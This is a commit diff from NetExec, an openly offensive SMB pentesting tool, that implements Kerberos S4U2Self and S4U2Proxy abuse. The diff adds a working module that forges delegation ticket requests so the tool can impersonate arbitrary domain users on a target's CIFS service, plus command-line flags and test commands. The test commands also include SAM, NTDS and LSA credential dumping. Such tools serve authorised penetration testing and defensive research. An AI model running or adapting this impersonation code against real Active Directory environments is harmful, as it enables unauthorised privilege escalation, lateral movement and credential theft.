Merge pull request #50 from Pennyw0rth/s4u

Implement s4u abuse
main
zblurx 2023-11-03 12:16:29 +01:00 committed by GitHub
commit 5e247be9d5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 323 additions and 5 deletions

View File

@ -393,7 +393,8 @@ class connection:
if self.args.protocol == "smb" and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and self.domain.upper() != self.hostname.upper():
self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
with sem:
if cred_type == "plaintext":
if self.args.kerberos:

View File

@ -23,7 +23,8 @@ from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.krb5.kerberosv5 import SessionKeyDecryptionError
from impacket.krb5.types import KerberosException
from impacket.krb5.types import KerberosException, Principal
from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
@ -33,6 +34,7 @@ from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U
from nxc.servers.smb import NXCSMBServer
from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC
@ -382,28 +384,39 @@ class smb(connection):
kerb_pass = ""
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache)
tgs = None
if self.args.delegate:
kerb_pass = ""
self.username = self.args.delegate
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
else:
elif not self.args.delegate:
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
else:
self.plaintext_login(self.hostname, username, password)
return True
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and not self.args.delegate:
add_user_bh(self.username, domain, self.logger, self.config)
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self.args.continue_on_success and self.signing:
with contextlib.suppress(Exception):
self.conn.logoff()
self.create_conn_obj()
return True
@ -419,10 +432,14 @@ class smb(connection):
return False
except OSError as e:
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}")
except (SessionError, Exception) as e:
error, desc = e.getErrorString()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.logger.fail(
f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}",
color="magenta" if error in smb_error_status else "red",

View File

@ -0,0 +1,278 @@
import datetime
import struct
import random
from six import b
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, \
seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart, \
PA_PAC_OPTIONS
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
from impacket.krb5 import constants
from nxc.logger import nxc_logger
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False):
my_tgt = None
if use_cache:
domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}")
if my_tgt is None:
raise
my_tgt = tgt["KDC_REP"]
cipher = tgt["cipher"]
session_key = tgt["sessionKey"]
if my_tgt is None:
principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
nxc_logger.debug("Getting TGT for user")
tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost)
my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
decoded_tgt = my_tgt
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
ap_req["ap-options"] = constants.encodeFlags(opts)
seq_set(ap_req, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decoded_tgt["crealm"])
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
seq_set(authenticator, "cname", client_name.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encoded_authenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
encoded_ap_req = encoder.encode(ap_req)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array += b(impersonate) + b(domain) + b"Kerberos"
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array s4u_byte_array.
checksum = _HMACMD5.checksum(session_key, 17, s4u_byte_array)
pa_fo_user_enc = PA_FOR_USER_ENC()
seq_set(pa_fo_user_enc, "userName", client_name.components_to_asn1)
pa_fo_user_enc["userRealm"] = domain
pa_fo_user_enc["cksum"] = noValue
pa_fo_user_enc["cksum"]["cksumtype"] = int(constants.ChecksumTypes.hmac_md5.value)
pa_fo_user_enc["cksum"]["checksum"] = checksum
pa_fo_user_enc["auth-package"] = "Kerberos"
encoded_pa_for_user_enc = encoder.encode(pa_fo_user_enc)
tgs_req["padata"][1] = noValue
tgs_req["padata"][1]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgs_req["padata"][1]["padata-value"] = encoded_pa_for_user_enc
req_body = seq_set(tgs_req, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
server_name = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(req_body, "sname", server_name.components_to_asn1)
req_body["realm"] = str(decoded_tgt["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
nxc_logger.info("Requesting S4U2self")
message = encoder.encode(tgs_req)
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if no_s4u2proxy:
cipher_text = tgs["enc-part"]["cipher"]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plaintext = cipher.decrypt(session_key, 8, cipher_text)
enc_tgs_rep_part = decoder.decode(plaintext, asn1Spec=EncTGSRepPart())[0]
new_session_key = Key(enc_tgs_rep_part["key"]["keytype"], enc_tgs_rep_part["key"]["keyvalue"].asOctets())
# Creating new cipher based on received keytype
cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]]
tgs_formated = {}
tgs_formated["KDC_REP"] = r
tgs_formated["cipher"] = cipher
tgs_formated["sessionKey"] = new_session_key
return tgs_formated
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticket_tgt = Ticket()
ticket_tgt.from_asn1(decoded_tgt["ticket"])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs["ticket"])
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
ap_req["ap-options"] = constants.encodeFlags(opts)
seq_set(ap_req, "ticket", ticket_tgt.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decoded_tgt["crealm"])
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
seq_set(authenticator, "cname", client_name.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encoded_authenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
encoded_ap_req = encoder.encode(ap_req)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
# Add resource-based constrained delegation support
pa_pac_options = PA_PAC_OPTIONS()
pa_pac_options["flags"] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgs_req["padata"][1] = noValue
tgs_req["padata"][1]["padata-type"] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgs_req["padata"][1]["padata-value"] = encoder.encode(pa_pac_options)
req_body = seq_set(tgs_req, "req-body")
opts = []
# This specified we"re doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
service2 = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(req_body, "sname", service2.components_to_asn1)
req_body["realm"] = domain
my_ticket = ticket.to_asn1(TicketAsn1())
seq_set_iter(req_body, "additional-tickets", (my_ticket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype",
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgs_req)
nxc_logger.info("Requesting S4U2Proxy")
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipher_text = tgs["enc-part"]["cipher"]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plaintext = cipher.decrypt(session_key, 8, cipher_text)
enc_tgs_rep_part = decoder.decode(plaintext, asn1Spec=EncTGSRepPart())[0]
new_session_key = Key(enc_tgs_rep_part["key"]["keytype"], enc_tgs_rep_part["key"]["keyvalue"].asOctets())
# Creating new cipher based on received keytype
cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]]
tgs_formated = {}
tgs_formated["KDC_REP"] = r
tgs_formated["cipher"] = cipher
tgs_formated["sessionKey"] = new_session_key
return tgs_formated

View File

@ -1,6 +1,11 @@
from argparse import _StoreTrueAction
def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
@ -10,6 +15,7 @@ def proto_args(parser, std_parser, module_parser):
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
self_delegate_arg.make_required = [delegate_arg]
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
@ -73,3 +79,17 @@ def proto_args(parser, std_parser, module_parser):
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction

View File

@ -13,6 +13,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-groups
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-auth
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME --self
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa